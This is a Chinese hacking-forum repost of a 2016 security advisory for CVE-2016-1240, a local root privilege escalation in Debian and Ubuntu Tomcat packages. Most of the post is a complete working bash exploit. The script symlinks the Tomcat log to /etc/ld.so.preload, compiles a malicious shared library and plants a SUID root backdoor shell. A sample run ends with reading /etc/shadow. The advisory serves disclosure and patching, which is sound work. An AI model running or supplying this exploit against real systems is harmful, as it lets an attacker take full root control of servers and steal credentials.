搜索
查看: 245|回复: 0

Tomcat曝本地提权漏洞 (CVE-2016-1240 附PoC)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-10-8 08:59:16 | 显示全部楼层 |阅读模式
  1. =============================================
  2. - Discovered by: Dawid Golunski
  3. - http://legalhackers.com
  4. - dawid (at) legalhackers.com

  5. - CVE-2016-1240
  6. - Release date: 30.09.2016
  7. - Revision: 1
  8. - Severity: High
  9. =============================================


  10. I. VULNERABILITY
  11. -------------------------

  12. Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation

  13. Affected debian packages:

  14. Tomcat 8 <= 8.0.36-2
  15. Tomcat 7 <= 7.0.70-2      
  16. Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  17. Ubuntu systems are also affected. See section VII. for details.
  18. Other systems using the affected debian packages may also be affected.


  19. II. BACKGROUND
  20. -------------------------

  21. "The Apache Tomcat庐 software is an open source implementation of the
  22. Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket
  23. technologies. The Java Servlet, JavaServer Pages, Java Expression Language
  24. and Java WebSocket specifications are developed under the Java Community
  25. Process.

  26. The Apache Tomcat software is developed in an open and participatory
  27. environment and released under the Apache License version 2.
  28. The Apache Tomcat project is intended to be a collaboration of the
  29. best-of-breed developers from around the world.

  30. Apache Tomcat software powers numerous large-scale, mission-critical web
  31. applications across a diverse range of industries and organizations.
  32. Some of these users and their stories are listed on the PoweredBy wiki page.
  33. "

  34. http://tomcat.apache.org/


  35. III. INTRODUCTION
  36. -------------------------

  37. Tomcat (6, 7, 8) packages provided by default repositories on Debian-based
  38. distributions (including Debian, Ubuntu etc.) provide a vulnerable
  39. tomcat init script that allows local attackers who have already gained access
  40. to the tomcat account (for example, by exploiting an RCE vulnerability
  41. in a java web application hosted on Tomcat, uploading a webshell etc.) to
  42. escalate their privileges from tomcat user to root and fully compromise the
  43. target system.

  44. IV. DESCRIPTION
  45. -------------------------

  46. The vulnerability is located in the tomcat init script provided by affected
  47. packages, normally installed at /etc/init.d/tomcatN.

  48. The script for tomcat7 contains the following lines:

  49. -----[tomcat7]----

  50. # Run the catalina.sh script as a daemon
  51. set +e
  52. touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
  53. chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

  54. -------[eof]------

  55. Local attackers who have gained access to the server in the context of the
  56. tomcat user (for example, through a vulnerability in a web application) would
  57. be able to replace the log file with a symlink to an arbitrary system file
  58. and escalate their privileges to root once Tomcat init script (running as root)
  59. re-opens the catalina.out file after a service restart, reboot etc.

  60. As attackers would already have a tomcat account at the time of exploitation,
  61. they could also kill the tomcat processes to introduce the need for a restart.


  62. V. PROOF OF CONCEPT EXPLOIT
  63. -------------------------

  64. ------[ tomcat-rootprivesc-deb.sh ]------

  65. #!/bin/bash
  66. #
  67. # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
  68. #
  69. # CVE-2016-1240
  70. #
  71. # Discovered and coded by:
  72. #
  73. # Dawid Golunski
  74. # http://legalhackers.com
  75. #
  76. # This exploit targets Tomcat (versions 6, 7 and 8) packaging on
  77. # Debian-based distros including Debian, Ubuntu etc.
  78. # It allows attackers with a tomcat shell (e.g. obtained remotely through a
  79. # vulnerable java webapp, or locally via weak permissions on webapps in the
  80. # Tomcat webroot directories etc.) to escalate their privileges to root.
  81. #
  82. # Usage:
  83. # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
  84. #
  85. # The exploit can used in two ways:
  86. #
  87. # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
  88. # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
  89. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
  90. # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
  91. #
  92. # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to
  93. # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
  94. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
  95. # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
  96. # then add arbitrary commands to the file which will be executed with root privileges by
  97. # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
  98. # Ubuntu/Debian Tomcat installations).
  99. #
  100. # See full advisory for details at:
  101. # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
  102. #
  103. # Disclaimer:
  104. # For testing purposes only. Do no harm.
  105. #

  106. BACKDOORSH="/bin/bash"
  107. BACKDOORPATH="/tmp/tomcatrootsh"
  108. PRIVESCLIB="/tmp/privesclib.so"
  109. PRIVESCSRC="/tmp/privesclib.c"
  110. SUIDBIN="/usr/bin/sudo"

  111. function cleanexit {
  112.         # Cleanup
  113.         echo -e "\n[+] Cleaning up..."
  114.         rm -f $PRIVESCSRC
  115.         rm -f $PRIVESCLIB
  116.         rm -f $TOMCATLOG
  117.         touch $TOMCATLOG
  118.         if [ -f /etc/ld.so.preload ]; then
  119.                 echo -n > /etc/ld.so.preload 2>/dev/null
  120.         fi
  121.         echo -e "\n[+] Job done. Exiting with code $1 \n"
  122.         exit $1
  123. }

  124. function ctrl_c() {
  125.         echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
  126.         cleanexit 0
  127. }

  128. #intro
  129. echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
  130. echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

  131. # Args
  132. if [ $# -lt 1 ]; then
  133.         echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
  134.         exit 3
  135. fi
  136. if [ "$2" = "-deferred" ]; then
  137.         mode="deferred"
  138. else
  139.         mode="active"
  140. fi

  141. # Priv check
  142. echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
  143. id | grep -q tomcat
  144. if [ $? -ne 0 ]; then
  145.         echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
  146.         exit 3
  147. fi

  148. # Set target paths
  149. TOMCATLOG="$1"
  150. if [ ! -f $TOMCATLOG ]; then
  151.         echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
  152.         exit 3
  153. fi
  154. echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

  155. # [ Deferred exploitation ]

  156. # Symlink the log file to /etc/default/locale file which gets executed daily on default
  157. # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
  158. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
  159. # restarted and file owner gets changed.
  160. if [ "$mode" = "deferred" ]; then
  161.         rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
  162.         if [ $? -ne 0 ]; then
  163.                 echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
  164.                 cleanexit 3
  165.         fi
  166.         echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
  167.         echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
  168.         echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
  169.         echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
  170.         echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
  171.         exit 0
  172. fi

  173. # [ Active exploitation ]

  174. trap ctrl_c INT
  175. # Compile privesc preload library
  176. echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
  177. cat <<_solibeof_>$PRIVESCSRC
  178. #define _GNU_SOURCE
  179. #include <stdio.h>
  180. #include <sys/stat.h>
  181. #include <unistd.h>
  182. #include <dlfcn.h>
  183. uid_t geteuid(void) {
  184.         static uid_t  (*old_geteuid)();
  185.         old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  186.         if ( old_geteuid() == 0 ) {
  187.                 chown("$BACKDOORPATH", 0, 0);
  188.                 chmod("$BACKDOORPATH", 04777);
  189.                 unlink("/etc/ld.so.preload");
  190.         }
  191.         return old_geteuid();
  192. }
  193. _solibeof_
  194. gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
  195. if [ $? -ne 0 ]; then
  196.         echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  197.         cleanexit 2;
  198. fi

  199. # Prepare backdoor shell
  200. cp $BACKDOORSH $BACKDOORPATH
  201. echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

  202. # Safety check
  203. if [ -f /etc/ld.so.preload ]; then
  204.         echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  205.         cleanexit 2
  206. fi

  207. # Symlink the log file to ld.so.preload
  208. rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
  209. if [ $? -ne 0 ]; then
  210.         echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
  211.         cleanexit 3
  212. fi
  213. echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

  214. # Wait for Tomcat to re-open the logs
  215. echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
  216. echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
  217. while :; do
  218.         sleep 0.1
  219.         if [ -f /etc/ld.so.preload ]; then
  220.                 echo $PRIVESCLIB > /etc/ld.so.preload
  221.                 break;
  222.         fi
  223. done

  224. # /etc/ld.so.preload file should be owned by tomcat user at this point
  225. # Inject the privesc.so shared library to escalate privileges
  226. echo $PRIVESCLIB > /etc/ld.so.preload
  227. echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
  228. echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
  229. echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

  230. # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
  231. echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
  232. sudo --help 2>/dev/null >/dev/null

  233. # Check for the rootshell
  234. ls -l $BACKDOORPATH | grep rws | grep -q root
  235. if [ $? -eq 0 ]; then
  236.         echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  237.         echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
  238. else
  239.         echo -e "\n[!] Failed to get root"
  240.         cleanexit 2
  241. fi

  242. # Execute the rootshell
  243. echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
  244. $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
  245. $BACKDOORPATH -p

  246. # Job done.
  247. cleanexit 0

  248. --------------[ EOF ]--------------------



  249. Example exploit run:
  250. ~~~~~~~~~~~~~~

  251. tomcat7@ubuntu:/tmp$ id
  252. uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

  253. tomcat7@ubuntu:/tmp$ lsb_release -a
  254. No LSB modules are available.
  255. Distributor ID:        Ubuntu
  256. Description:        Ubuntu 16.04 LTS
  257. Release:        16.04
  258. Codename:        xenial

  259. tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
  260. ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
  261. ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
  262. ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

  263. tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out

  264. Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
  265. CVE-2016-1240

  266. Discovered and coded by:

  267. Dawid Golunski
  268. http://legalhackers.com

  269. [+] Starting the exploit in [active] mode with the following privileges:
  270. uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

  271. [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

  272. [+] Compiling the privesc shared library (/tmp/privesclib.c)

  273. [+] Backdoor/low-priv shell installed at:
  274. -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

  275. [+] Symlink created at:
  276. lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

  277. [+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
  278. You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)

  279. [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
  280. -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

  281. [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

  282. [+] The /etc/ld.so.preload file now contains:
  283. /tmp/privesclib.so

  284. [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

  285. [+] Rootshell got assigned root SUID perms at:
  286. -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

  287. Please tell me you're seeing this too ;)

  288. [+] Executing the rootshell /tmp/tomcatrootsh now!

  289. tomcatrootsh-4.3# id
  290. uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
  291. tomcatrootsh-4.3# whoami
  292. root
  293. tomcatrootsh-4.3# head -n3 /etc/shadow
  294. root:$6$oaf[cut]:16912:0:99999:7:::
  295. daemon:*:16912:0:99999:7:::
  296. bin:*:16912:0:99999:7:::
  297. tomcatrootsh-4.3# exit
  298. exit

  299. [+] Cleaning up...

  300. [+] Job done. Exiting with code 0



  301. VI. BUSINESS IMPACT
  302. -------------------------

  303. Local attackers who have gained access to tomcat user account (for example
  304. remotely via a vulnerable web application, or locally via weak webroot perms),
  305. could escalate their privileges to root and fully compromise the affected system.


  306. VII. SYSTEMS AFFECTED
  307. -------------------------

  308. The following Debian package versions are affected:

  309. Tomcat 8 <= 8.0.36-2
  310. Tomcat 7 <= 7.0.70-2
  311. Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  312. A more detailed lists of affected packages can be found at:

  313. Debian:
  314. https://security-tracker.debian.org/tracker/CVE-2016-1240

  315. Ubuntu:
  316. http://www.ubuntu.com/usn/usn-3081-1/

  317. Other systmes that use Tomcat packages provided by Debian may also be affected.


  318. VIII. SOLUTION
  319. -------------------------

  320. Debian Security Team was contacted and has fixed affected upstream packages.
  321. Update to the latest tomcat packages provided by your distribution.

  322. IX. REFERENCES
  323. -------------------------

  324. http://legalhackers.com

  325. http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

  326. The exploit's sourcecode
  327. http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh

  328. CVE-2016-1240
  329. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240

  330. Ubuntu Security Notice USN-3081-1:
  331. http://www.ubuntu.com/usn/usn-3081-1/

  332. Debian Security Advisory DSA-3669-1 (tomcat7):
  333. https://lists.debian.org/debian-security-announce/2016/msg00249.html
  334. https://www.debian.org/security/2016/dsa-3669

  335. Debian Security Advisory DSA-3670-1 (tomcat8):
  336. https://www.debian.org/security/2016/dsa-3670

  337. https://security-tracker.debian.org/tracker/CVE-2016-1240


  338. X. CREDITS
  339. -------------------------

  340. The vulnerability has been discovered by Dawid Golunski
  341. dawid (at) legalhackers (dot) com
  342. http://legalhackers.com

  343. XI. REVISION HISTORY
  344. -------------------------

  345. 30.09.2016 - Advisory released

  346. XII. LEGAL NOTICES
  347. -------------------------

  348. The information contained within this advisory is supplied "as-is" with
  349. no warranties or guarantees of fitness of use or otherwise. I accept no
  350. responsibility for any damage caused by the use or misuse of this information.
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表